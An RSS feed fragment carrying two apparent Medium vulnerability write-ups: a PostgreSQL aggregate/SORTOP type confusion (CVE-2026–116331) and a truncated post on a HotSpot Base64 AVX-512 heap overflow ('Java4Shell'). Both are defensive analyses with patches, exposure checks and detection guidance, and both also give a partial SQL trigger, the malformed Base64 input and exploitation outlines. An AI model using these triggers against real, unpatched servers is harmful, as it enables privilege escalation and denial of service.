            <guid isPermaLink="false">https://medium.com/p/e9d4194eb30e</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[postgresql]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[database]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[WhitGuidance]]></dc:creator>
            <pubDate>Sun, 29 Nov 2026 21:01:01 GMT</pubDate>
            <atom:updated>2026-11-29T21:01:01.611Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mL_qcC8V6AWg4smjpNeNCg.png" /></figure><p><em>A single mismatched option on a user-defined aggregate lets any logged-in role turn an integer into a pointer — and climb from there to the OS user running the database.</em></p><p>On November 12, 2026, the PostgreSQL project released 18.7, 17.12, 16.16, 15.20, and 14.25 together, disclosing <strong>CVE-2026–116331</strong>. It’s a privilege escalation that lets any role that can simply log in — even a near-permissionless application account — climb all the way to the OS user running the database server, using nothing but the default TEMPORARY privilege. Security research team Depthfirst published the triggering SQL and the exploitation rationale on November 18. CVSS 3.1 score: 8.8 (High).</p><p>This post walks through why one SORTOP option tricks the planner into treating an integer as a pointer.</p><h3>TL;DR</h3><ul><li><strong>Root cause</strong>: when PostgreSQL’s planner speeds up a user-defined aggregate that behaves like MIN/MAX with an index scan, it never checks whether the aggregate&#39;s input type matches its result type. If they differ, the planner skips the FINALFUNC (the final conversion function) entirely and returns the raw value read from the index — which the caller then interprets as the declared result type. Read an int8 (passed by value) as a text (passed by reference), and an integer bit pattern instantly becomes a memory address.</li><li><strong>Affected</strong>: PostgreSQL 14.0–14.24, 15.0–15.19, 16.0–16.15, 17.0–17.11, 18.0–18.6 — all 64-bit builds.</li><li><strong>Privilege required</strong>: any role that can log in, plus TEMPORARY privilege on a database (granted to PUBLIC by default — effectively every login role).</li><li><strong>Severity</strong>: CVSS 3.1 8.8 (High).</li><li><strong>CWE</strong>: CWE-843 (Type Confusion).</li><li><strong>Fix</strong>: committed November 12, 2026 as 2c03c7c48fb6 (Tom Lane), backported across the 14–18 lines.</li><li><strong>Status</strong>: Depthfirst published the trigger SQL and exploitation rationale on Nov 18. No shellcode or full payload has been published, and as of Nov 19 there’s no reported in-the-wild exploitation; it’s not in the CISA KEV catalog.</li></ul><p>Affected versions and fixes, by branch:</p><ul><li><strong>PostgreSQL 18</strong>: vulnerable 18.0–18.6, fixed in 18.7</li><li><strong>PostgreSQL 17</strong>: vulnerable 17.0–17.11, fixed in 17.12</li><li><strong>PostgreSQL 16</strong>: vulnerable 16.0–16.15, fixed in 16.16</li><li><strong>PostgreSQL 15</strong>: vulnerable 15.0–15.19, fixed in 15.20</li><li><strong>PostgreSQL 14 (end-of-life)</strong>: vulnerable 14.0–14.24, fixed in 14.25 (this line reached end-of-life as of 2026–11–12)</li></ul><h3>1. Background: MIN/MAX aggregates and the index shortcut</h3><p>For SELECT MAX(col) FROM t with a B-tree index on col, PostgreSQL doesn&#39;t scan and sort the whole table — it just reads the single last value off the end of the index. In planner code, this optimization is called a MinMaxAggPath.</p><p>This shortcut isn’t limited to the built-in MIN/MAX. PostgreSQL lets a user-defined aggregate take the same shortcut if it declares a SORTOP option in CREATE AGGREGATE.</p><pre>CREATE AGGREGATE my_max(int8) (<br>    SFUNC = int8larger,<br>    STYPE = int8,<br>    SORTOP = &#39;&gt;&#39;          -- &quot;this aggregate behaves like MAX&quot;<br>);</pre><p>SORTOP = &#39;&gt;&#39; tells the planner: &quot;this aggregate&#39;s result equals the last value you&#39;d get by sorting with &gt;, so it&#39;s safe to use the index instead of a full scan.&quot; For a legitimate aggregate this is true, and naturally the input type and the result type match too (MAX(int8) returns int8).</p><h3>2. Background: FINALFUNC, and pass-by-value vs. pass-by-reference</h3><p>A PostgreSQL aggregate has three parts:</p><ul><li><strong>SFUNC</strong> (state transition function): updates a running state, one row at a time</li><li><strong>STYPE</strong> (state type): the type that holds the running state</li><li><strong>FINALFUNC</strong> (final function, optional): converts the final state into the result type</li></ul><p>Usually the state type and result type are the same, so no FINALFUNC is needed — but PostgreSQL happily allows a FINALFUNC that converts to a completely different result type. An aggregate that turns an int8 state into text is perfectly valid SQL.</p><pre>CREATE FUNCTION as_text(int8) RETURNS text AS $$ SELECT $1::text $$ LANGUAGE sql;<br><br>CREATE AGGREGATE confused(int8) (<br>    SFUNC = int8larger,<br>    STYPE = int8,<br>    FINALFUNC = as_text,   -- converts state (int8) to result (text)<br>    SORTOP = &#39;&gt;&#39;           -- but SORTOP is declared too<br>);</pre><p>The memory representation matters here. Internally, PostgreSQL values travel around in a generic 8-byte slot called a Datum. The two passing conventions:</p><ul><li><strong>int8 (bigint)</strong> — passed by value. The Datum holds the integer itself.</li><li><strong>text, </strong><strong>bytea, and similar types</strong> — passed by reference. The Datum holds a pointer to a struct that contains the actual data.</li></ul><p>An int8&#39;s 8 bytes and a pointer&#39;s 8 bytes are the same size, and there&#39;s no type tag to tell them apart once you&#39;re holding the raw Datum. If the caller believes &quot;this is text&quot; and dereferences it, whatever bit pattern is actually in there gets treated as a memory address.</p><h3>3. The vulnerable code: an unverified promise</h3><p>Whether a SORTOP-bearing aggregate is eligible for a MinMaxAggPath is decided by fetch_agg_sort_op() in src/backend/optimizer/plan/planagg.c. Here&#39;s the pre-patch code, as of REL_18_6:</p><pre>static Oid<br>fetch_agg_sort_op(Oid aggfnoid)<br>{<br>    HeapTuple   aggTuple;<br>    Form_pg_aggregate aggform;<br>    Oid         aggsortop;<br><br>/* fetch aggregate entry from pg_aggregate */<br>    aggTuple = SearchSysCache1(AGGFNOID, ObjectIdGetDatum(aggfnoid));<br>    if (!HeapTupleIsValid(aggTuple))<br>        return InvalidOid;<br>    aggform = (Form_pg_aggregate) GETSTRUCT(aggTuple);<br>    aggsortop = aggform-&gt;aggsortop;<br>    ReleaseSysCache(aggTuple);<br>    return aggsortop;<br>}</pre><p>It just reads aggsortop straight out of the pg_aggregate catalog and returns it. The caller, can_minmax_aggs(), accepts it as soon as the value is simply valid:</p><pre>aggsortop = fetch_agg_sort_op(aggref-&gt;aggfnoid);<br>if (!OidIsValid(aggsortop))<br>    return false;       /* not a MIN/MAX-style aggregate */<br>/* otherwise, build a MinMaxAggInfo and register it as a MinMaxAggPath candidate */</pre><p>Nowhere does this compare pg_proc.prorettype (the aggregate&#39;s declared result type) against the input argument type. The idea that SORTOP implies &quot;input type equals result type&quot; was only ever a convention — never enforced in code.</p><p>So when the planner encounters something like confused(int8) ... FINALFUNC = as_text ... SORTOP = &#39;&gt;&#39; from Section 2, it will:</p><ol><li>Fetch a single extreme value from the index instead of scanning the whole table</li><li>Never call FINALFUNC (as_text) — it uses the raw int8 read from the index as the result</li><li>Pass that Datum back to the executor, which knows the aggregate returns text and dereferences it as a pointer</li></ol><p>Reading a literal int8 value of 1 as a pointer dereferences address 0x1 and normally just crashes. But the attacker can put any 64-bit value (any address) they want into that integer slot — and going the other direction, writing a pointer out as an integer leaks a raw memory address. This is a textbook CWE-843 type confusion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i5O5xLIn7ygHYghnqg24Fw.png" /></figure><p><strong>Diagram walkthrough:</strong></p><ol><li><strong>Normal vs. dangerous aggregate</strong> — the top-left code box shows an ordinary MIN/MAX-style setup where input, state, and result are all int8. The red text below is the exploit pattern: input is int8, but FINALFUNC converts to text.</li><li><strong>SORTOP’s promise</strong> — SORTOP = &#39;&gt;&#39; signals &quot;this aggregate behaves like MAX and returns the same type as its input,&quot; which is exactly what lets the planner swap a full scan for an index lookup. The problem is fetch_agg_sort_op() never checks that this promise actually holds.</li><li><strong>The missing check</strong> — the red line in the code box is exactly where “compare input type vs. result type” should be and isn’t. can_minmax_aggs() builds a MinMaxAggPath as soon as aggsortop is merely valid.</li><li><strong>Type confusion</strong> — the blue box (int8, passed by value) and red box (text, passed by reference) side by side show the fundamentally different passing conventions. The executor always dereferences a result declared text as a pointer, so even an ordinary integer gets treated as a memory address.</li><li><strong>What the attacker does</strong> — an 8-step reconstruction based on Depthfirst’s Nov 18 disclosure. Repeating int8 ↔ text and int8 ↔ bytea gives both read and write primitives, ultimately hijacking a function call via a forged expanded-object header to reach system(). Actual shellcode and payload constants were not published.</li></ol><h3>4. What it takes to attack: why “anyone” qualifies</h3><p>What makes this vulnerability especially severe is how little privilege the attacker needs:</p><ul><li><strong>Login privilege</strong> — an ordinary application account is enough.</li><li><strong>TEMPORARY privilege</strong> — PostgreSQL grants TEMPORARY privilege on a database to PUBLIC by default. Unless an administrator has specifically revoked it, every login role already has it.</li><li><strong>Creating objects in </strong><strong>pg_temp</strong> — with TEMPORARY privilege, a role can freely create tables, indexes, functions, and aggregates in its own temporary schema (pg_temp). That&#39;s everything the attack needs.</li></ul><p>In other words, the attacker can complete the entire trigger inside their own session’s temporary schema, without touching anyone else’s data or server configuration.</p><pre>CREATE TEMP TABLE t (v int8);<br>CREATE INDEX ON t (v);<br>INSERT INTO t VALUES (1);<br><br>CREATE FUNCTION pg_temp.keep_max(int8, int8) RETURNS int8 ...;<br>CREATE FUNCTION pg_temp.as_text(int8) RETURNS text ...;<br>CREATE AGGREGATE pg_temp.confused(int8) (<br>  SFUNC = pg_temp.keep_max,<br>  STYPE = int8,<br>  FINALFUNC = pg_temp.as_text,<br>  SORTOP = &#39;&gt;&#39;<br>);<br>SELECT pg_temp.confused(v) FROM t;</pre><p>Running this takes the index path and returns the raw int8 — skipping FINALFUNC — as if it were text. Repeating the same pattern with bytea↔int8 gives both &quot;read a pointer as a number&quot; and &quot;write a number as a pointer,&quot; which leads to heap address leaks and arbitrary-address dereferences. Depthfirst describes using these primitives to locate code pointers in the postgres binary in heap memory (defeating ASLR), then planting a forged expanded-object header to hijack an indirect call — through the internal method table used by common functions like length() — eventually reaching system(). Function bodies and payload constants were not disclosed in the original writeup either.</p><h3>5. The fix: add a type comparison to fetch_agg_sort_op()</h3><p>The fix is to actually verify the promise in code. Right before returning, fetch_agg_sort_op() now looks up the function&#39;s real signature in pg_proc and compares the argument type against the return type.</p><pre>@@ -511,5 +511,22 @@ fetch_agg_sort_op(Oid aggfnoid)<br>    aggsortop = aggform-&gt;aggsortop;<br>    ReleaseSysCache(aggTuple);<br><br>+   /*<br>+    * Check the aggregate&#39;s pg_proc entry to verify input type = result type;<br>+    * if not, report that there is no sortop.  This guards against incorrect<br>+    * usage of the SORTOP option.<br>+    */<br>+   if (OidIsValid(aggsortop))<br>+   {<br>+       Oid         rettype;<br>+       Oid        *argtypes;<br>+       int         nargs;<br>+<br>+       rettype = get_func_signature(aggfnoid, &amp;argtypes, &amp;nargs);<br>+       if (nargs != 1 || rettype != argtypes[0])<br>+           aggsortop = InvalidOid;<br>+       pfree(argtypes);<br>+   }<br>+<br>    return aggsortop;<br> }</pre><p>If there isn’t exactly one argument, or the return type doesn’t match that argument’s type, aggsortop gets reset to InvalidOid. Then can_minmax_aggs() concludes &quot;this isn&#39;t a MIN/MAX-style aggregate&quot; and never builds a MinMaxAggPath — the aggregate runs through the normal SFUNC → FINALFUNC path instead. Existing aggregates with mismatched input/output types keep working, but they no longer take the dangerous index shortcut.</p><p>The master (future 19) branch goes a step further and rejects a type-mismatched SORTOP declaration outright at CREATE AGGREGATE time. The currently-released branches (14–18) take the more conservative route of blocking it only at planning time, since a production database might already have such an aggregate installed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_NWKiMCFEb7PaySYKD6-2A.png" /></figure><p><strong>Diagram walkthrough:</strong></p><ol><li><strong>Attack flow</strong> — starting from any login role with TEMPORARY privilege, the chain runs through creating a pg_temp table and index, a type-mismatched aggregate, MinMaxAggPath selection, skipping FINALFUNC, dereferencing as text (type confusion), and finally heap leak / ASLR bypass / system() execution — seven steps, all inside the attacker&#39;s own temporary schema.</li><li><strong>Exposure conditions</strong> — privilege (login + TEMPORARY), the ability to create objects in a temp schema, an unpatched version, and a 64-bit build — all four must hold. Unlike CPU-feature-dependent bugs, this one doesn&#39;t care whether you&#39;re on x86-64 or ARM64.</li><li><strong>The patch</strong> — fetch_agg_sort_op() now looks up the pg_proc signature and compares argument type to return type. A mismatch invalidates aggsortop, making can_minmax_aggs() return false. The master branch rejects it at creation time; release branches only block it at planning time to avoid breaking aggregates that already exist.</li><li><strong>Response</strong> — patching is the priority. If that’s not immediate, REVOKE TEMPORARY ON DATABASE ... FROM PUBLIC; removes the privilege the published attack chain depends on (though it&#39;s only a partial mitigation — roles with CREATE privilege, or superusers, can still do it). Detection means searching pg_stat_statements or query logs for SORTOP, CREATE AGGREGATE, and pg_temp. patterns.</li></ol><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DeXdZarp7340&amp;type=text%2Fhtml&amp;schema=youtube&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FeXdZarp7340" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/4ab77dbcff2ffb61d1e1b91da7c410e3/href">https://medium.com/media/4ab77dbcff2ffb61d1e1b91da7c410e3/href</a></iframe><h3>6. Checking your exposure</h3><p><strong>Check the version:</strong></p><pre>SELECT version();</pre><p>Anything below the fixed version listed above is affected.</p><p><strong>Find login roles with TEMPORARY privilege.</strong> This privilege is granted per database, so run this against every database the server hosts.</p><pre>SELECT r.rolname<br>FROM pg_roles r<br>WHERE r.rolcanlogin<br>  AND has_database_privilege(r.oid, current_database(), &#39;TEMPORARY&#39;);</pre><p>Every role in the result can create everything the published attack chain needs (temp table, index, function, aggregate).</p><p><strong>Find aggregates that are already dangerous:</strong></p><pre>SELECT n.nspname, p.proname,<br>       format_type(p.prorettype, NULL) AS result_type,<br>       format_type(p.proargtypes[0], NULL) AS input_type<br>FROM pg_aggregate a<br>JOIN pg_proc p ON p.oid = a.aggfnoid<br>JOIN pg_namespace n ON n.oid = p.pronamespace<br>WHERE a.aggsortop &lt;&gt; 0<br>  AND p.pronargs = 1<br>  AND p.prorettype &lt;&gt; p.proargtypes[0];</pre><p>Any rows returned mean an aggregate with SORTOP declared and mismatched input/output types is already installed. On a patched server the planner won&#39;t exploit it anymore, but it&#39;s a configuration that should never have existed, and it&#39;s worth investigating how it got there.</p><h3>7. Mitigation</h3><p><strong>Patch — priority:</strong></p><ul><li><strong>Debian/Ubuntu</strong>: sudo apt update &amp;&amp; sudo apt install --only-upgrade postgresql-18 (swap in your branch number)</li><li><strong>RHEL/Fedora, PostgreSQL community packages</strong>: sudo dnf update postgresql-server postgresql, or the version-specific package (e.g. postgresql18-server)</li><li><strong>Containers</strong>: docker pull postgres:18.7 and recreate the container (pulling the image alone doesn&#39;t apply it)</li><li><strong>Managed services</strong> (RDS, Aurora, Neon, Supabase, Cloud SQL, Azure Database for PostgreSQL, etc.): apply the provider’s released minor-version upgrade</li></ul><p>After patching, restart the server and confirm with SHOW server_version;.</p><p><strong>Stopgap mitigation if you can’t patch immediately:</strong></p><pre>REVOKE TEMPORARY ON DATABASE &lt;database&gt; FROM PUBLIC;</pre><p>This removes the privilege the published attack chain relies on, raising the bar for a low-privilege attacker. It is not a full fix: any role with CREATE privilege on a schema can still build tables and aggregates, and superusers can do anything regardless. The underlying planner bug remains until you patch, so treat this revocation purely as risk reduction while you schedule the upgrade.</p><p><strong>Detection:</strong></p><ul><li>If query logging is on, search logs for temp-object and SORTOP aggregate creation: grep -Ei &quot;create (temp|temporary) table|create aggregate|sortop|pg_temp\.&quot; /var/log/postgresql/postgresql-*.log</li><li>If pg_stat_statements is installed, search the same patterns via a query against pg_stat_statements for %CREATE AGGREGATE%, %SORTOP%, or %pg_temp.%</li><li>Run the “find aggregates that are already dangerous” query above periodically across every database. Even once the planner stops exploiting it, it’s a configuration that shouldn’t exist in the first place.</li><li>Check the postgres service account for unexpected child processes, new files under /tmp, or suspicious outbound connections around the time of flagged queries.</li></ul><p>A default PostgreSQL install doesn’t log every query, so an absence of evidence in the logs is not evidence that nothing happened.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9d4194eb30e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[CVE-2026–114938] Java4Shell Deep Dive -How a Single ‘=’ Turns Into a 64-Byte Heap Overflow]]></title>
            <link>https://medium.com/@guidancewhite/cve-2026-114938-java4shell-deep-dive-how-a-single-turns-into-a-64-byte-heap-overflow-7f2f344e1383?source=rss-6648f12dd50f------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f2f344e1383</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[WhitGuidance]]></dc:creator>
            <pubDate>Fri, 27 Nov 2026 23:41:15 GMT</pubDate>
            <atom:updated>2026-11-27T23:41:15.460Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*Oe07Ak8tkpelfXhd.png" /></figure><p>On November 17, 2026, security firm Calif disclosed a memory-corruption vulnerability in OpenJDK’s Base64 decoder that can escalate to <strong>pre-authentication remote code execution</strong>. It’s called <strong>Java4Shell</strong>, tracked as <strong>CVE-2026–114938</strong>. CISA issued a same-day alert urging immediate patching.</p><p>This post walks through <em>why</em> a single trailing = character turns into a 64-byte out-of-bounds write, building up from the Base64 and AVX-512 basics you need.</p><h3>TL;DR</h3><ul><li><strong>Root cause</strong>: HotSpot’s hand-written AVX-512 VBMI assembly stub for java.util.Base64 decoding miscalculates the output size for a short padded tail, <strong>underflowing it to </strong><strong>-1</strong>. That -1 gets read as 255 by the bzhiq instruction, which turns the &quot;write 0 bytes&quot; mask into &quot;write all 64 bytes&quot; — spilling into the next heap object.</li><li><strong>Affected</strong>: OpenJDK 17.0.6+ and the 18–27 line on unpatched builds, <strong>only on x86–64 CPUs with AVX-512 VBMI</strong> (Intel Ice Lake+, AMD Zen 4+)</li><li><strong>Severity</strong>: CVSS 4.0 9.2 (Calif), CVSS 3.1 8.1 (Oracle, high attack complexity)</li><li><strong>CWE</strong>: Not yet assigned. Closest fit is an integer underflow (CWE-191) leading to an out-of-bounds write (CWE-787).</li><li><strong>Fix</strong>: JDK-8393212, committed under embargo on Oct 14 as the deliberately bland “Base64 optimization improvements,” released Nov 17.</li><li><strong>Status</strong>: No in-the-wild exploitation reported as of Nov 17. RCE has only been demonstrated by Calif in specific products; no weaponized chain is public.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*LhpmxToFzZCIqTbUmoxgEg.png" /></figure><h3>1. Background: Base64 padding</h3><p>Base64 turns 3 bytes into 4 characters. When the input isn’t a multiple of 3 bytes, = padding is appended so the <strong>total length is always a multiple of 4</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/1*gk3dDGgAT9YHNw4lmvNt_w.png" /></figure><p>The required output size is:</p><pre>output bytes = (char count ÷ 4) × 3 − padding count</pre><p>The key fact: <strong>valid Base64 is always a multiple of 4 characters long.</strong> This bug’s trigger is a length that is <em>not</em> a multiple of 4 but still ends in = — an input that should be rejected outright. The problem is it gets rejected <em>after</em> the vulnerable write already happened.</p><h3>2. Background: JIT intrinsics and AVX-512 masked stores</h3><h3>Intrinsics: “hot methods get replaced with hand-tuned assembly”</h3><p>java.util.Base64.Decoder.decode0() calls decodeBlock() internally. Once that method gets hot enough, HotSpot&#39;s C2 compiler swaps out the Java bytecode for a <strong>hand-written assembly stub</strong> — an intrinsic. Any server that decodes Base64 continuously (auth headers, JWTs, file uploads) will hit this state quickly.</p><blockquote><em>The stub is only generated on CPUs with both AVX-512 VBMI and BW support. Otherwise the slower-but-safe scalar Java path is used. The MIME decoder always uses the scalar path, regardless of CPU.</em></blockquote><h3>AVX-512: “64 bytes at a time”</h3><p>AVX-512 registers are 512 bits — <strong>64 bytes</strong>. The stub decodes input 64 characters at a time.</p><h3>Masked stores: “a stencil with only some holes punched”</h3><p>When writing results to memory, the stub provides a 64-bit <strong>mask</strong> alongside the data. Only bytes where the mask bit is 1 get written; bytes where it’s 0 are left untouched — like a stencil where only some holes are cut.</p><p>The mask is built from “number of bytes to write” via bzhiq, which keeps the low N bits and zeroes the rest. Critically, bzhiq <strong>only reads the low 8 bits of its index</strong>, and if that value is 64 or higher, nothing gets cleared at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*xIif-MwFpsybE81nGyAmGA.png" /></figure><p>That last row is the entire bug.</p><h3>3. The vulnerable flow</h3><p>Per public write-ups, the chain looks like this:</p><ol><li>java.util.Base64$Decoder.decode0() calls decodeBlock()</li><li>Once hot, C2 swaps in the HotSpot-generated stub (generate_base64_decodeBlock in stubGenerator_x86_64.cpp)</li><li>Entry gate: avx512_vbmi &amp;&amp; avx512bw, plus UseAVX=3 and UseBASE64Intrinsics=true (both defaults on qualifying CPUs)</li><li>Input is processed in <strong>256-char, then 64-char chunks</strong></li><li>The remaining <strong>1–63 character tail</strong> is handled at label L_finalBit, finishing with a masked store</li></ol><p>Step 5 is where it breaks. Below is a <strong>reconstructed pseudocode</strong> for understanding the flow — not literal assembly; exact registers and ordering vary by build.</p><pre>// The 64-char-chunk passes are done; a 1–3 char tail (including &quot;=&quot;) remains<br>int out_size = (tail_len / 4) * 3;          // tail &lt; 4 chars, so this is 0<br>out_size -= padding_count;                  // subtract &#39;=&#39; count → 0 - 1 = -1 (underflow)<br><br>uint64_t mask = bzhi(~0ULL, out_size &amp; 0xFF);   // only low 8 bits used: -1 → 255<br>masked_store_64B(dst, decoded_vector, mask);    // mask is all-ones → full 64-byte write</pre><p>A tail with 0 bytes to write <em>should</em> produce a mask of all zeros. Instead, subtracting padding underflows the size to -1, bzhiq reads that as 255, and the mask stays all-ones. The result is the exact opposite of intent: a <strong>full 64-byte write</strong>.</p><h3>Walking the numbers: &quot;A&quot;×64 + &quot;=&quot; (65 characters)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*RU0SfEbNeVo0UQmaRH_DRg.png" /></figure><p>Reports place the overflow at 62 bytes for a = tail and 63 bytes for a == tail. The same logic applies to a 3-char A== tail: output size becomes 0 − 2 = −2, giving index 254 — mask still all-ones.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*__1MBBSInwU1s_Sg.png" /></figure><h3>Diagram 1 walkthrough</h3><ol><li><strong>① Crafted input</strong>: The payload is “64 valid chars + =&quot; sent somewhere the server Base64-decodes before authentication (a Basic auth header, SAML assertion, upload field, etc.). Length 65 isn&#39;t a multiple of 4, so it should be rejected outright.</li><li><strong>② JIT handoff</strong>: The vulnerable path only exists once decodeBlock is hot enough for C2 to swap in the assembly stub — which is why an attacker warms the server up with valid Base64 first.</li><li><strong>③ Tail miscalculation</strong>: the four boxes trace the chain: a 1-char = tail → output size 0 − 1 = -1 → bzhiq index 255 → mask all 64 bits set. The code box below condenses this to three lines.</li><li><strong>④ Out-of-bounds write</strong>: the bar shows blue for the 48 valid output bytes, a dashed line for the 50-byte array boundary, and red for the 62 bytes that spill past it. The masked store starts at offset 48 and writes 64 bytes, so 48 + 64 = 112 — 62 bytes beyond the array.</li><li><strong>⑤ Result</strong>: on its own, this corrupts the next object’s header and typically crashes the JVM during garbage collection (denial of service). RCE is what Calif claims to have built per-product on top of this primitive.</li></ol><h3>4. Trigger conditions: not every = input qualifies</h3><p>Several conditions have to line up to actually reach the vulnerable tail logic:</p><ul><li><strong>Length threshold</strong>: the vector path only engages above a certain length.</li><li>17u: above 128 characters. For a =-terminated 1–3 char tail, valid lengths are 64k+1 to 64k+3 (k ≥ 2) — i.e. 129–131, 193–195, 257–259…</li><li>21 / 25 / 27: threshold is 31 bytes, so <strong>65 characters</strong> (one full 64-char block plus a short padded tail) is enough.</li><li><strong>Decoder type</strong>: Basic or URL decoder only. MIME always takes the scalar path.</li><li><strong>Valid characters</strong>: any = or invalid character inside a 64-char chunk bails out to the Java path early, so every character before the tail must be valid Base64.</li><li><strong>Warm-up</strong>: the stub must already be JIT-compiled.</li></ul><p>Because valid encoders never produce lengths like these, this input pattern simply doesn’t show up in normal traffic. Unpadded Base64 (like JWT segments) doesn’t end in = either, so it&#39;s distinguishable from that too.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fi09D4qkMGZ4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Di09D4qkMGZ4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fi09D4qkMGZ4%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/800d42ce5efb7e1053d775fe370bdd78/href">https://medium.com/media/800d42ce5efb7e1053d775fe370bdd78/href</a></iframe><h3>5. The fix: keep short tails out of the vector path entirely</h3><p>The patch adds a single length check at the top of L_finalBit:</p><pre>+    // A padded Base64 tail shorter than one complete block is handled by Java.<br>+    __ cmpl(length, 4);<br>+    __ jcc(Assembler::less, L_bruteForce);</pre><p>If fewer than 4 characters remain, execution jumps to L_bruteForce — the scalar (Java) path. The important detail is that this check runs <strong>before</strong> the output-size and mask computation.</p><ul><li>A tail of 4+ characters gives a starting size of (length ÷ 4) × 3 ≥ 3</li><li>Padding subtracts at most 2, so size is always <strong>≥ 1</strong></li><li>So the bzhiq index is always in valid range</li><li>A tail made entirely of = fails validation anyway and falls to the scalar loop</li></ul><p>This is a minimal fix for the one underflow — it doesn’t touch whether the vector path correctly decodes every 4–63 character tail otherwise.</p><h3>6. Exploitation: what’s public, and what isn’t</h3><h3>What the bug gives you on its own</h3><ul><li>The spilled bytes are a <strong>fixed value, independent of attacker-controlled data</strong>. The attacker can influence <em>where</em> the write lands (via length and heap layout), not <em>what</em> gets written.</li><li>The overflow corrupts the next object’s header, typically crashing the JVM with a SIGSEGV during GC. Standalone, this is a <strong>pre-auth denial of service</strong>.</li></ul><h3>Calif’s claimed path to code execution</h3><p>Calif states there’s no universal exploit — each target needs its own work. The publicly described outline has five stages:</p><ol><li>Corrupt one array’s length, so the application’s own subsequent writes into it go out of bounds with attacker-chosen bytes</li><li>Corrupt a second array that gets echoed back in a response, leaking heap memory (Calif calls this “JavaBleed”)</li><li>Repair the damaged object headers so the JVM keeps running</li><li>Groom the heap remotely into a usable layout</li><li>Steer the resulting writes at the JVM’s Code Cache</li></ol><p>Every target needs its own decoder entry point, a writable buffer, a readable feedback channel, a workable heap layout, and the right application behavior — which is why the claimed impact is product-specific. Calif says it demonstrated pre-auth RCE against default configurations of Keycloak, Jira, Confluence, Artifactory, Jenkins, and PingFederate, and post-auth RCE against Kafka, Solr, Elasticsearch, Gerrit, and Spinnaker. No shell code or weaponized chain has been published, and this post does not reconstruct one. There are also reports that a Java client making a TLS connection to a malicious server can be exposed.</p><h3>7. Checking your exposure</h3><p><strong>All four</strong> conditions must be true for the vulnerable path to actually execute:</p><ol><li>x86–64 CPU with AVX-512 VBMI (Windows x64 gets the same generated code)</li><li>An affected, unpatched build</li><li>UseAVX=3 and UseBASE64Intrinsics=true (defaults on qualifying CPUs)</li><li>Attacker input reaches java.util.Base64&#39;s Basic or URL decoder</li></ol><p>/proc/cpuinfo doesn&#39;t exist outside Linux, and an empty result can look misleadingly &quot;safe.&quot; Ask the <strong>JVM itself</strong> instead — and check each binary separately if a host runs more than one Java install:</p><pre>java -Xlog:os+cpu -version 2&gt;&amp;1 | grep -oE &#39;avx512f|avx512bw|avx512_vbmi|bmi2&#39; | sort -u<br>java -XX:+PrintFlagsFinal -version 2&gt;/dev/null | grep -E &#39; (UseAVX|UseBASE64Intrinsics) &#39;</pre><p>If all four CPU features show up and UseAVX = 3, UseBASE64Intrinsics = true, that JVM is exposed. Products like Jenkins, Jira, Confluence, Keycloak, and Elasticsearch often <strong>bundle their own JRE</strong>, so check the actual running process, not just java -version:</p><pre>jcmd &lt;PID&gt; VM.version</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*adAF8ILQGBhQAz4c.png" /></figure><h3>Diagram 2 walkthrough</h3><ol><li><strong>① Four exposure conditions</strong>: CPU, version, flags, and input reachability all have to line up. Miss any one (ARM, a non-VBMI CPU, the MIME decoder) and the vulnerable path never runs.</li><li><strong>② The patch</strong>: adding cmpl(length, 4) and jcc(less, L_bruteForce) keeps 1–3 character tails out of the vector path entirely. With 4+ characters, the output size is always at least 1, so the bzhiq index stays in valid range.</li><li><strong>③ Response priority</strong>: patch first (17.0.21.1 / 21.0.13.1 / 25.0.5.1 / 27.0.1.1, or any vendor build containing JDK-8393212). If that’s not immediate, -XX:-UseBASE64Intrinsics disables the stub (just restart the JVM; Base64 decoding gets slower). The last resort is -XX:UseAVX=2, which disables AVX-512 entirely — a bigger performance hit, and it won&#39;t let the JVM start on ARM.</li><li><strong>④ Detection signals</strong>: input patterns, logs, and crash dumps — detailed in Section 8.</li></ol><h3>8. Mitigation and detection</h3><h3>Patch</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*4NS3oq31hPR9IQwdnbiWrg.png" /></figure><p>Release timing and version labels vary by vendor — <strong>check each vendor’s own advisory</strong> for the actual fixed build. If you build from source, confirm JDK-8393212 is in your tree; a distro package whose version number looks current can still predate the fix. After patching, rebuild container images, restart every Java process, and confirm the running build with jcmd.</p><h3>Stopgap mitigation before patching</h3><p>Not an official Oracle workaround, but widely recommended. Requires a JVM restart; for containers, set it in the image or pod spec (JAVA_TOOL_OPTIONS).</p><figure><img alt="" 